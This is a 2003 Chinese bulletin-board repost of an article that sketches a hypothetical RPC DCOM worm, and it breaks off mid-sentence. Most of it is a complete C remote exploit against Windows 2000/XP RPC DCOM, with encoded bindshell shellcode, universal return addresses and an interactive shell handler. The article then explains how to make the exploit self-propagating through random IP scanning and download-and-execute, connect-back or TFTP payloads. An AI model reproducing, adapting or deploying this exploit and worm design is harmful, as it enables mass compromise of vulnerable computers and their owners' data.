Virus 版 (精华区)

发信人: qubo (qubo), 信区: Virus
标  题: 对RPC DCOM 蠕虫的设想(zz)
发信站: 哈工大紫丁香 (2003年09月25日09:50:34 星期四), 站内信件

对RPC DCOM 蠕虫的设想
【15/08/2003 10:24:00】


  来源:http://www.cnhonker.com lion 

最近好象几乎每一个大的漏洞公布出来,接着都会有一个针对这个漏洞的蠕虫(worm) 流行
,最近闹得很凶的 RPC DCOM 漏洞估计也即将成为 worm 的新传播载体。好象写 worm 是
一个热门,很多人也觉得好奇,觉得 worm 是很深的一种技术,其实这个是很简单的编程
游戏而已。我一直有个想法就是想写一篇关于 worm 的技术分析(---为了不教坏小孩子:)
,只是一直懒得提笔,本人对蠕虫的编写已经失去了兴趣,现在在新的 worm 风暴即将到
来之前,我这里很简单分析一下蠕虫的相关技术,并对 RPC DCOM 蠕虫进行一些设想。大
家当我是助“纣”为虐也好,故意卖弄也好,我觉得还是要写这篇文章,一年多没写过文
章了,同时也了却了自己的一个心愿。你现在可以选择不继续往下看,但看完后不要对我
吐口水。:)


一 什么叫蠕虫

首先从 spark 的 《Internet蠕虫的定义和历史》文章中摘抄一段关于worm的解释: 蠕虫
这个生物学名词在1982年由Xerox PARC 的John F. Shoch等人最早引入计算机领域[30],
并给出了计算机蠕虫的两个最基本特征:"可以从一台计算机移动到另一台计算机"和"可以
自我复制"。他们编写蠕虫的目的是做分布式计算的模型试验,在他们的文章中,蠕虫的破
坏性和不易控制已经初露端倪。1988年Morris蠕虫爆发后,Eugene H. Spafford 为了区分
蠕虫和病毒,给出了蠕虫的技术角度的定义,"计算机蠕虫可以独立运行,并能把自身的一
个包含所有功能的版本传播到另外的计算机上。" (worm is a program that can run 
by itself and can propagate a fully working version of itself to other 
machines. )。

由于这里不是向大家介绍蠕虫的定义和历史就不多说了,大家如果对这些感兴趣,可以到
这里读 spark 的文章http://www.nsfocus.net/index.php?act=magazine&;do=view&mid=1
851

二 蠕虫的组成部分

一个蠕虫的组成其实很简单,由于我不是在这里教你们写蠕虫,也由于时间限制,我这里
只简单的说一些。
我们可以把它看做一个工程,我们把这个工程分成 4 个模块:

1. 攻击模块
首先得需要有一个大量系统受影响的能被简单利用的严重漏洞,以便能够远程控制机器。
比如猜测薄弱口令啊,远程溢出啊等。

2. 感染模块
考虑怎么让对方被攻击后,执行你想要实现的功能,完成对一个主机的感染。对远程溢出
来说也就是完善shellcode了。这中间得考虑一个感染传播(繁殖)途径的问题。

3. 传播模块
比如,扫描一个网段有相关弱点的机器,存成一个文件,然后对这些IP进行攻击,或者随
机生成IP然后对这些IP进行攻击等。
简单的说就是扫描薄弱的机器。

4. 功能模块
  功能模块其实是一个可要可不要的模块,但如果你想对方感染蠕虫后还在对方加上后门
/DDoS等其他功能时,就必须得要有这个啦。

  其实,一个蠕虫成功的关键是一个攻击模块和感染模块。:) 


三 常见的蠕虫的传播(繁殖)途经


具体就不深入了, 只简单列举一下:

1. email

2. ftp

3. http

4. netbios

5. tftp

  6. rcp

7. 其他


四 RPC DCOM 漏洞介绍

RPC DCOM 漏洞是最近出的一个Windows系统的严重漏洞,也是有史以来最严重影响最广泛
的Windows漏洞。

Remote Procedure Call (RPC)是运用于Windows操作系统上的一种协议。RPC提供相互处理
通信机制,允许运行该程序的计算机在一个远程系统上执行代码。RPC协议本身源于OSF 
(Open Software Foundation) RPC协议,后来又另外增加了一些Microsoft专用扩展功能。
RPC中处理TCP/IP信息交换的模块由于错误的处理畸形信息,远程攻击者可利用此缺陷以本
地系统权限在系统上执行任意指令。该缺陷影响使用RPC的DCOM接口,此接口处理由客户端
机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者成功利用此缺陷可以以本地系
统权限执行任意指令。攻击者可以在系统上执行任意操作,如安装程序、查看或更改、删
除数据或建立系统管理员权限的帐户。
这个漏洞影响如下Windows版本:
Microsoft Windows XP SP1a
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows NT 4.0SP6a
Microsoft Windows NT 4.0SP6
Microsoft Windows NT 4.0SP5
Microsoft Windows NT 4.0SP4
Microsoft Windows NT 4.0SP3
Microsoft Windows NT 4.0SP2
Microsoft Windows NT 4.0SP1
Microsoft Windows NT 4.0
Microsoft Windows 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000

可以看到, 此漏洞影响除了WinME以下版本的Windows系统之外的所有其他Windows系统。同
时,此漏洞能够被攻击者远程利用,
在没有修补该漏洞的机器上可以远程执行任意代码,导致攻击者能够完全控制有漏洞的机
器。


五 RPC DCOM 蠕虫的设想

1. 由于RPC COM已经有攻击未打补丁的Win2000/WinXP的通用攻击代码发布出来,因此该漏
洞更有可能被利用制作成为能够感染具有RPC DCOM漏洞的Win2000/WinXP机器的蠕虫。

如PacketStorm上公布的这个对Win2000和WinXP通用的Exploit:


/* Windows 2003 <= remote RPC DCOM exploit
* Coded by .:[oc192.us]:. Security
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than 135(139,445,539 
etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for - 
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, 
thus 
* preventing crash of RPC service on remote machine.

* This is provided as proof-of-concept code only for educational 
* purposes and testing by authorized individuals with permission to 
* do so.
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00
,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00
,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46
,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x0
0
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x4
5
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5
E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4
D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x4
1
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x0
0
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x4
5
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x0
3
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x0
0
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x2
9
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x0
0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x0
0
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x0
0
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x1
0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xF
F
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x1
0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x0
9
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x0
0
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x0
0
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x0
0
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x0
0
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x0
1
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x0
3
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x0
0
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0
E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x0
0
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x0
0
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x0
0
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x0
0
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x0
0
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x0
0
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0
0
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x0
0
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */

int type=0;
struct
{
char *os;
u_long ret;
}
targets[] =
{
{ "[Win2k-Universal]", 0x0018759F },
{ "[WinXP-Universal]", 0x0100139d },
}, v;


void usage(char *prog)
{
int i;
printf("RPC DCOM exploit coded by .:[oc192.us]:. Security\n");
printf("Usage:\n\n");
printf("%s -d [options]\n", prog);
printf("Options:\n");
printf(" -d: Hostname to attack [Required]\n");
printf(" -t: Type [Default: 0]\n");
printf(" -r: Return address [Default: Selected from target]\n");
printf(" -p: Attack port [Default: 135]\n");
printf(" -l: Bindshell port [Default: 666]\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf(" %d [0x%.8x]: %s\n", i, targets[i].ret, targets[i].os);
exit(0);
}

unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */

/* bindshell no RPC crash, defineable spawn port */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\xdd\x5a\x60\xdf\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";

/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x0
0
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8
C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */

/* Not ripped from teso =) */
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;

FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);

while(1) 
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme)) 
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if(write(1, rb, i) < 0) break;
}

if(FD_ISSET(0, &fdreadme)) 
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Connection lost..\n");
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}

printf("[-] Connection closed by foreign host..\n");

exit(0);
}

int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = "\x00\xFF\xFF\x8b"; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;

if(argc<2)

usage(argv[0]);
}

while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
{
switch (c)
{
case ’d’:
hostname = optarg;
break;
case ’t’:
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf("[-] Select a valid target:\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a, targets[a].ret, targets[a].os); 
return 1;
}
break;
case ’r’:
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case ’p’:
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
case ’l’:
lportl = atoi(optarg); 
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535\n");
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}

if(hostname==NULL)
{
printf("[-] Please enter a hostname with -d\n");
exit(1);
}

printf("RPC DCOM remote exploit - .:[oc192.us]:. Security\n");
printf("[+] Resolving host..\n");

if((he = gethostbyname(hostname)) == NULL)
{
printf("[-] gethostbyname: Couldnt resolve hostname\n");
exit(1);
}

printf("[+] Done.\n");

printf("-- Target: %s:%s:%i, Bindshell:%i, RET=[0x%.8x]\n", 
targets[type].os, hostname, port, lportl, targets[type].ret);

/* drg */ 
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&sc[471],&lport,4);

memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);

their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = htons(port);

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}

if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == 
-1)
{
perror("[-] Connect failed");
return(0);
}

/* xfocus start */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);

*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; 
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);

*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;


*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; 
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
/* end xfocus */


if (send(sockfd,bindstr,sizeof(bindstr),0)== -1)
{
perror("[-] Send failed");
return(0);
}
len=recv(sockfd, buf1, 1000, 0);

if (send(sockfd,buf2,len1,0)== -1)
{
perror("[-] Send failed");
return(0);
}
close(sockfd);
sleep(1);

their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = lportl;

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}

if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == 
-1)
{
printf("[-] Couldnt connect to bindshell, possible reasons:\n");
printf(" 1: Host is firewalled\n");
printf(" 2: Exploit failed\n");
return(0);


printf("[+] Connected to bindshell..\n\n");

sleep(2);

printf("-- bling bling --\n\n");

con(sockfd);

return(0);
}



在测试过这个exploit后发现,其实研究后我们可以发现可以在所有Win2000和WinXP上的RE
T地址,这就解决了判断目标系统版本的问题,直接可以使用一种数据包成功攻击所有Win2
000/WinXP。
  我们只要简单的修改一下该exploit, 使之能自动产生随机IP地址,然后对这个IP进行
攻击尝试,就可以完成worm的攻击模块。或者你可以先生成一个随机的C类地址,然后扫描
这个C段里有多少机器是开放135端口的,然后从扫描结果里取数据,并对这个IP实行攻击
尝试,可以加快传播的速度。这些其实修改起来其实非常的容易。

2. 通过过替换攻击代码的shellcode部分,爱好者很容易能够在目标机器上执行任意命令
和功能。比如简单的在主机上添加一个管理员用户,开一个shell端口,反连一个shell或
者使计算机自动从某一个FTP或者HTTP服务器自动下载程序并执行等。然后想要进一步深入
,就可以在采用合适完美的shellcode上来做文章,达到最大的传播效果。如exec 
command shellcode, bind port shellcode, connect back shellcode, down file and 
exec shellcode, down url file and exec shellcode等,你容易在网上找到它,如hsj的
ida溢出exploit里就有一个down file and exec shellcode等。这个有汇编基础的攻击者
很容易实现。这里对上面谈到的shellcode类型分别做一个简单的比较,以找出RPC DCOM最
可能利用的传播途径。 

a. 通过添加一个管理员用户,可以很容易的用Netbios共享来远程共享传播文件。但有对
防火墙过滤了Netbios或者主机上不存在共享的情况下,不大好利用,而且,RPC DCOM 的
攻击代码溢出后获得的是system权限,想直接通过shellcode或者下载的程序来远程用Netb
ios拷贝文件比较困难,需要有一个system to user的权限转换模块,所以为了更高效的利
用这个漏洞,达到传播快和速度大的 RPC DCOM 蠕虫不大可能利用这种技术。

b. 直接把命令写进shellcode里的话,简单快捷。甚至可以把所有需要用到的功能全写进s
hellcode里去,如年初扫荡全球的sql worm, 把攻击,感染,传播三个模块写到短短的20
0多个16进制代码里字节里实现。同样可以在里面加上下载程序并执行等功能。

c. 简单的开一个bind port shell, 你可以执行系统命令,比如echo写入一个脚本下载FTP
站点里的程序并执行,甚至直接用TFTP下载程序等。这种方法执行命令,很简单,但每次
攻击需要有两个连接,对系统开销比较大,而且可能受防火墙的影响也比较大,不宜采取
。 

d. 反连的shellcode跟bind port shell差不多,不过这个可以把反连的这个监听端口做成
一个server形式,以便于接受多个连接,然后自动对每一个连接发送一些指令,使机器能
完成传播。这个其实也是不错的,能突破不少防火墙,唯一的就是对禁止任何反连的防火
墙没什么好办法。

e. 还记得hsj的ida溢出的exploit吧,该exploit监听一个端口,对目标溢出攻击成功后,
目标系统反连攻击机的这个端口接受一个指定的文件并保存在本机硬盘上,然后执行,这
其实跟反连shellcode差不多,只是一个是反连一个shell,另一个是反连回来取文件。这
应该是蠕虫作者考虑中的传播途径。 

f. 把程序放在某一个域名或者IP的FTP/HTTP站点里,所有感染的机器从这里取程序,下载
到本地后执行。这种方法的好处是实现简单,而且可以很好的绕过防火墙,因为大多数的
网络还是允许往外访问21/80端口的,而且可以很好的控制worm的版本和传播,把文件删掉
就不会感染其他机器了,一般用于小规模感染。因为大规模感染的情况下,第一个倒下的
是你的FTP/HTTP服务器。:)

g. Redcode/nimda的tftp下载程序方法,可以用在防火墙没有屏蔽udp的网络情况下,缺点
是tftp传送文件太慢。居于Redcode/nimda的成功先例,这应该是蠕虫作者考虑中的传播途
径。

h. 你自己自由发挥想象力...


3. 如果RPC DCOM蠕虫,采用结合以上各种方法的优势,就可以完善一个能突破大多数防火
墙的繁殖方式来,以使蠕虫能更好更快的得到传播,通过结合利用Redcode和nimda的相关
技术,利用Redcode和nimda相同的tftp传播方法,尝试从攻击IP里tftp里下载一个程序,
如果下载成功的话就执行,如果不成功,可以反连至该攻击IP的某一个端口接受文件,如
